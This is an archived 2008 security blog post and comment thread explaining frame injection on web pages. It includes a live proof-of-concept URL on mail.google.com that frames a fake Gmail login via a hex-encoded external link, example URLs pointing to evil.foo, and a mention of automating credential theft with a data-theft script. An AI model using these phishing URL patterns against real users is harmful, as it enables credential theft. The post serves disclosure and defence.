Frame Injection Fun

Fri, 10 Oct 2008 00:01:28 GMT
by pagvac

Frame injection vulnerabilities, although some people might consider them the same as HTML injection/XSS or even a subset, they really are not the same. Here is why:

  • There is no need to inject special control characters such as angle brackets (unlike HTMLi/XSS)
  • HTMLi/XSS filtering routines will not project against frame injection since the attacker only needs to insert a URL in the non-sanitized parameter

The best way to explain what I mean is to show an example. Most frame injection issues occur in web applications because dynamic frameset/iframe insertion is not implemented with enough filtering. For instance, say that we have the following URL on the target site:

https://www.victim.foo/index.php?**targeturl**=/contact.php

A malicious user with intentions of launching a phishing attack will try tampering the `targeturl` parameter. His goal is to insert a third-party page that is under his control, rather than the original contact page. Indeed, `index.php`, although is not allowing HTML or JavaScript to be assigned to `targeturl`, is happy to process an absolute URL rather than a relative one:

https://www.victim.foo/index.php?**targeturl**=http://evil.foo/login.php

I thought that showing a live example would help our readers get an idea of what frame injection looks in action. For that purpose, I prepared a rather not elegant proof of concept which takes advantage of the Google Images service. What's neat is that although the legitimate URL would normally use the `images.google.com` domain, Google also allow us to use other google.com subdomains such as `mail.google.com` which is used by Gmail. This is ideal, as we're trying to accomplish a frame injection attack which can be used to perform phishing attacks against Gmail users.

http://mail.google.com/imgres?imgurl=http://SecureGoogleMail&**imgrefurl**=http://mail.google.com/imgres?imgurl=http://SecureGoogleMail&imgrefurl=%68%74%74%70%3a%2f%2f%73%6e%69%70%75%72%6c%2e%63%6f%6d%2f%67%6e%77%62%6f
![Frame Injection Fun POC](/files/2008/10/frame-injection-fun-poc-300x210.png "Frame Injection Fun POC")

The previous PoC URL will cause the entered credentials to be submitted to www.gnucitizen.org when clicking on Sign in, so please do NOT submit any real credentials!

pIn short:p The attacker has managed to display a non-legitimate third-party page, while the legitimate domain (mail.google.com in this case) is shown in the address bar.The beauty of frame injection attacks is that the attacker is able to impersonate a trusted entity without needing to bypass XSS/HTMLi filters or even break into the target server.

Needless to say, in real-life the attacker would most likely automate the process of obtaining the harvested credentials by using a tool such as our x.php data-theft script.

Archived Comments

dmitrisecdmitrisec
as part of the input filtering/validation, the URLs - link addresses - need to be treated specially: you most likely don't want to echo on the page javascript: or data: URLs for the user to click even though they don't contain any tags or quotes! As part of that validation, it is best to verify that the URL belongs to the intended domain, and substitute it with the default value or give an error otherwise. Additionally, it may make sense to add a digital signature to make sure the parameters are issued by the site and not inserted by an attacker.
willwill
even fools LastPass into thinking you want to log into google mail
Adrian 'pagvac' PastorAdrian 'pagvac' Pastor
I was not suggesting that filtering quotation marks or angle brackets is enough to stop all forms of XSS! Of course it's not enough, as it will only avoid very-vanilla XSS attacks. Think of XSS vulns where the injected payload is echoed within an already-existing JavaScript snippet (within existing 'script' tags). In this case, common blacklisting techniques will NOT help. This is why I always recommend applying *white-listing* filtering whenever possible. Take the example of a frame injection vuln. If you already know what URLs should be allowed to be inserted, then you should reject anything other than that. For instance, you could add the list of the trusted URLs in the backend DB, and assign a different ID to each of them. So that the URL only takes IDs as an argument. i.e.: https://www.site.foo/index.php?targetframe=1 If 'targetframe' is assigned an integer value which doesn't exist in the DB, then no frame is inserted whatsoever. The beauty is that the attacker cannot now manipulate the inserted frames. However, some sites cannot predict what URLs should be allowed to be inserted as frames. An example is the Google Images frame injection problem mentioned before.
DanielDaniel
Whilst 'some' people consider them to be different, in reality they are not. I know it's the rage at the moment to think up new and exciting names for vulnerabilities, but let's try and keep this simple. When we did the OWASP Top 10, we decided it would be easier to group them all under the same banner; Injection Flaws http://www.owasp.org/index.php/Injection_Flaws
frankfrank
i think that this one http://www.securiteam.com/securitynews/5WP0Y00PFE.html was a big security problem in google and no one was talking about it! bye frank
ChintanChintan
Hi, I don't think its any thing different from URL Redirection (except that it is now wrapped with a new shiny marketing lingo). I still don't understand where the frame gets injected! It's just getting loaded from an external source. Instead of loading Fake Gmail page, you can load any page instead. The following loads yahoo :P http://mail.google.com/imgres?imgurl=http://yahoo.com&imgrefurl=http://yahoo.com Can some one please explain me the rationale for calling it a frame injection?
Jim ManicoJim Manico
RE: Comments about about input validation above : you do NOT defend against XSS by input validation - thats one of the biggest misnomers in AppSec. You solve it via ENCODING data before presenting it to your users. ESAPI, for example, provides a variety of data encoding functions depending on context: encodeForHTML, encodeForHTMLEntity, encodeForJavascript, etc.
Adrian 'pagvac' PastorAdrian 'pagvac' Pastor
@Chintan: sure it IS different. In a redirection attack, the URL in the browser's address bar changes to a non-trusted third-party site once the "evil" URL is visited. In a frame injection attack, the address bar remains showing the legitimate domain after the "evil" URL is visited. It is called frame injection because the third-party content is inserted via a dynamically generated frame. Check the 'frame' tags in the source code for more info. @Daniel: I'm actually against creating new vulnerability names, it just complicates things. The only reason I mentioned the term "frame injection" is because: 1) it's NOT a new term. 2) the filtering solution needed is different to the one required for "pure" XSS/HTMLi vulnerabilities as the attacker doesn't need to inject "dangerous" characters. At least generally speaking.
ChintanChintan
@Adrian - I appreciate your explanation. But i still think an attacker is not adding any frame into victim's page. I think it can be termed as url redirection via frames. The reason the address bar reflects new url in a traditional url redirection attack is because the redirection is direct one (i.e. @page level). Since in this case the the functionality of the frame is to load an external url- which is abused to load an arbitrary page inside that frame, it will never show up in address bar (not even for the legitimate page). I repeat, an attacker is not injecting any frame into victim's webpage. Only the content of the existing frame changes as the domain is not restricted. Then how can one call it frame "Injection"? I think the debate may be endless. Instead i give it up here. Feel free to call it anything you want. None the less, not a bad catch (just that it has been overhyped to reflect as a new kind of attack). I have always appreciated GNU Citizen for their innovations, but i cannot give credit for this one atleast.
Adrian 'pagvac' PastorAdrian 'pagvac' Pastor
@Chintan: this is a problem of semantics, we could talk about it forever. It doesn't matter what you call it, the issue is still the same: you can insert third-party content while still showing mail.google.com in the address bar. We did NOT come up with the term "frame injection" (just do a Google search), neither did we claim we came up with a new technique. The only reason why there has been some media interest is because Google is something everyone can relate to. Thanks a lot for your feedback again btw.
p3lop3lo
I have worked to developp this technique, and i have constated that we can break the frame with:
if (top.frames.length!=0) top.location=self.document.location;
and
document.location="http://evil.foo/login.php";
The first script can be used to secure the page framed...
JDJD
Filtering is not the best defense against XSS and HTMLi. Encoding output is. Filtering must prevent all possible combinations of mallicious input. Encoding encodes all output. Encoding is simpler and covers more of the threat domain naturally.